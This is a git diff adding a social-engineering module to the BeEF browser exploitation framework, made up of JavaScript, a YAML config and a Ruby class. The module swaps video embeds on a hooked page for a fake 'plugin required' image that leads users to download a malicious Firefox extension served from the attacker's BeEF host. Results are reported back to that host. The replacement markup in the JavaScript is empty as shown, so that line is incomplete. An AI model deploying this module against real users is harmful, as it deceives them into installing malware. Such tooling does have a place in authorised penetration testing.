diff --git a/modules/social_engineering/replace_video_fake_plugin/command.js b/modules/social_engineering/replace_video_fake_plugin/command.js new file mode 100644 index 000000000..9a0fc469b --- /dev/null +++ b/modules/social_engineering/replace_video_fake_plugin/command.js @@ -0,0 +1,14 @@ +// +// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + $j('<%= @jquery_selector %>').each(function(){ + var width = $j(this).css('width'); + var height = $j(this).css('height'); + $j(this).replaceWith(''); + }); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Replace video successful"); +}); diff --git a/modules/social_engineering/replace_video_fake_plugin/config.yaml b/modules/social_engineering/replace_video_fake_plugin/config.yaml new file mode 100644 index 000000000..d085c1a62 --- /dev/null +++ b/modules/social_engineering/replace_video_fake_plugin/config.yaml @@ -0,0 +1,15 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + replace_video_fake_plugin: + enable: true + category: ["Social Engineering"] + name: "Replace Videos (Fake Plugin)" + description: "Replaces an object selected with jQuery (all embed tags by default) with an image advising the user to install a missing plugin. If the user clicks the image they will be prompted to download a malicious Firefox extension (by default)." + authors: ["Yori Kvitchko", "antisnatchor", "bcoles"] + target: + user_notify: ['ALL'] diff --git a/modules/social_engineering/replace_video_fake_plugin/module.rb b/modules/social_engineering/replace_video_fake_plugin/module.rb new file mode 100644 index 000000000..bae133509 --- /dev/null +++ b/modules/social_engineering/replace_video_fake_plugin/module.rb @@ -0,0 +1,24 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Replace_video_fake_plugin < BeEF::Core::Command + + def self.options + @configuration = BeEF::Core::Configuration.instance + beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host") + url = 'http://' + beef_host + ':' + @configuration.get("beef.http.port") + return [ + {'name' => 'url', 'ui_label' => 'Plugin URL', 'value' => url+'/api/ipec/ff_extension', 'width'=>'150px'}, + {'name' => 'jquery_selector', 'ui_label' => 'jQuery Selector', 'value' => 'embed', 'width'=>'150px'} + ] + end + + def post_execute + content = {} + content['Result'] = @datastore['result'] + save content + end + +end diff --git a/modules/social_engineering/replace_video_fake_plugin/plugins-required.png b/modules/social_engineering/replace_video_fake_plugin/plugins-required.png new file mode 100644 index 000000000..7b0885492 Binary files /dev/null and b/modules/social_engineering/replace_video_fake_plugin/plugins-required.png differ